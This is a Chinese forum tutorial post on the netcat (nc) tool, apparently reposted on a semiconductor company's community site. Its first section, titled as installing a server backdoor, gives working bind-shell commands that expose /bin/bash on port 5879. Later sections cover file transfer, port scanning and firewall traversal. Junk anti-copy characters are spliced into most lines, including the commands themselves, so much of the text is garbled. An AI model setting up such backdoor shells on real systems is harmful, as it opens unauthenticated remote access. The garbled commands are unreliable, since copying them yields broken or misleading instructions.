你的浏览器版本过低,可能导致网站不能正常访问!
为了你能正常使用网站功能,请使用这些浏览器。

Linux上一个非常强大的工具——netcat工具

[复制链接]
gaosmile 发布时间:2020-9-2 21:27
对于nc命令来说,可真的是要一行代码调半天。因为这行代码的威力是非常大的!当然,用不好的话,还会给自身带来麻烦。
netcat这个工具,简称nc,是Linux上一个非常强大的工具(当然也有windows版本)。由于它能力实在太强,有些公司甚至对他进行了隔离(quarantined)。比如rename掉,或者给000的权限。因为它很容易可以在服务器上开一个后门(backdoor),并且及其方便。2 p" W9 j, h( C
微信图片_20200902212551.jpg
那nc命令在什么地方呢?where is it?
# whereis nc
( [& h( ~# \5 x# W1 dnc: /usr/bin/nc /usr/share/man/man1/nc.1.gz
5 f  \2 Z( \  L- I0 g8 f
它告诉我,文件在/usr/bin目录下。我们使用file命令来看一下它的属性。结果发现它是一个链接文件。
# file /usr/bin/nc0 N% M8 v5 N/ T4 [7 s' `; L+ E
/usr/bin/nc: symbolic link to `ncat'
+ ~" |9 q# U' y7 z& ~7 d
从这里我们能够看出,nc的全称是ncat:Concatenate and redirect sockets。这是一把瑞士军刀。
nc的参数非常非常多,如果列出来,会让你失去兴趣,白白错过了这么厉害的工具,也错过了进局子的机会。我们还是以案例来说明,这款不到1MB的命令,为什么俘获了xjjdog的芳心。
1. 服务器上安后门
下面的命令,将在机器上开放5879端口。服务端:
# nc -l -vv -p 5879 -e /bin/bash! d1 e& T5 i. n3 ~+ Z7 ~8 G2 N
Ncat: Version 6.40 ( http://nmap.org/ncat )  [5 Q' O# J" R: Q7 x8 h" w+ p
Ncat: Listening on :::5879: w) H7 @& e# c# {
Ncat: Listening on 0.0.0.0:5879
1 Q: |, @( O- x
这个过程叫做反弹shell,远程就可以使用nc命令连接,做一些事情。
客户端:
# nc -v 192.16.1.54 5879/ t' `! E9 J! `& ]. a& C) }
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
/ E; c1 f, Y- X+ i  I, Z
此时,执行任何shell命令,都可以正常运行。下面这张gif动画可以验证这个过程。
# v" k* Z3 G  |% I! j  s
微信图片_20200902212600.gif
想要更霸道一点的么?我们需要借助mkfifo命令。
在服务器上,执行下面两个命令,这就构造了一个循环。
rm -f /tmp/f; mkfifo /tmp/f
5 R. m8 y$ }' ?( i1 t. @cat /tmp/f | /bin/bash -i 2>&1 | nc -l  5879 > /tmp/f) F; }2 `- t# G
客户端nc连接以后,竟然直接出现了命令行操作终端!
$ nc -v 192.16.1.54 5879( H/ u. N9 Z( U% i2 Y
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!: H5 `6 w6 a! ]1 \
[root@localhost~]#
2 X5 G' s% C6 R/ c+ v& R
你可能会说,我客户端关掉之后,为什么服务端的命令也退出了?如果你想要服务端继续监听,可以加上参数-k。
2.文件和目录传送
还在用sftp?还是用rzsz?
这些工具虽然好用,但需要安装。有时候事情紧急,或者权限把的严,并没有这样的工具。
此时,nc可以来帮忙。
服务端同样监听一个端口,但是这次把重定向定向到一个文件。
nc -l 5879 > file
7 O' h; y8 j2 B4 k8 q- i/ {
客户端就可以启动一个命令将文件发送过去。这次是使用反向的箭头。
nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz
$ A1 {/ {! d1 Z* W5 M; J& v
文件传的飞快!而且由于没有rsa那一套的加密,速度更快了。
查看它们的md5,一模一样。
MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528b398762e1578c8 ^* e, g, D/ e  V' I. C. s& n1 }

& a: p" x3 R& p2 Vmd5sum file  y0 l  M4 Z6 h6 R0 e2 e
224cabf26d622f37528b398762e1578c  file
! l1 B2 r7 `& r! }
我知道你的脑子里现在在想着怎么传送目录了。这个过程很有意思。
我们把nc的输出,使用管道交给tar命令处理。xfvz和cvfz是一对参数,你应该猜到要怎么做了。
nc -l 5879  | tar xfvz -6 \2 n1 b# Q. l; E
没错,客户端的代码与上面的是相反的。不过这次,我们的nc命令接收了打包的文件。
tar cfz - redis-5.0.5 |  nc -v 192.16.1.54 5879
1 T1 N& g& R  F% n7 m
真的是非常巧妙。
3.网络连通性检测
没错,这是nc命令最常用的地方了。
如果你想要判断服务器的tomcat端口是否开启,不需要登陆到服务器上,然后再ps一下看一下进程,或者使用netstat -antl看一下监听的端口。
使用nc就可以了。
只需要简单的打上ip和端口,它就能知道结果。
# nc -vvv baidu.com 443! ~% L) w4 t! m  l( d1 W" D
Connection to baidu.com port 443 [tcp/https] succeeded!1 Y3 \( Q9 ^, r  ]
当然,它也可以扫描主机的端口开放情况。不过对程序员来说用的不多。
nc -vzw 2 192.16.1.54 8888-99994.防火墙穿透
比如下面这张图。你想要访问tongariro的这台机器,但是你是没有权限的。它只能通过aoraki的防火墙访问。同时,aoraki也只能接受来自ruapehu的请求。
微信图片_20200902212605.jpg
通过组合ssh命令可以达到这个效果。
ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro
1 s5 C. F% r& V7 @8 p* i+ {: z
通过ssh的ProxyCommand,可以完成简单的配置。
使用下面的命令可以快速打通这个通道。
ssh -oProxyCommand="ssh host1 nc host2 22" host25.其他
你可以看到了。nc的这些能力,不是nc自身提供的,而是其他额外的命令。
比如,这里实现一个简单的时间服务器。web浏览器访问即可获取。
ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;'3 g. x) l$ ], c( d9 Y& Y; @
再比如,做一个远程视频服务。
微信图片_20200902212611.gif
服务端。
% s$ Z: o* j9 q0 e' V% v7 f" `9 L
arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -4 V$ F$ F% J2 g2 N, a: U
客户端。
arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -****% F# i3 ]; r' q1 J5 b$ [& e
收藏 评论0 发布时间:2020-9-2 21:27

举报

0个回答

所属标签

关于
我们是谁
投资者关系
意法半导体可持续发展举措
创新与技术
意法半导体官网
联系我们
联系ST分支机构
寻找销售人员和分销渠道
社区
媒体中心
活动与培训
隐私策略
隐私策略
Cookies管理
行使您的权利
官方最新发布
STM32N6 AI生态系统
STM32MCU,MPU高性能GUI
ST ACEPACK电源模块
意法半导体生物传感器
STM32Cube扩展软件包
关注我们
st-img 微信公众号
st-img 手机版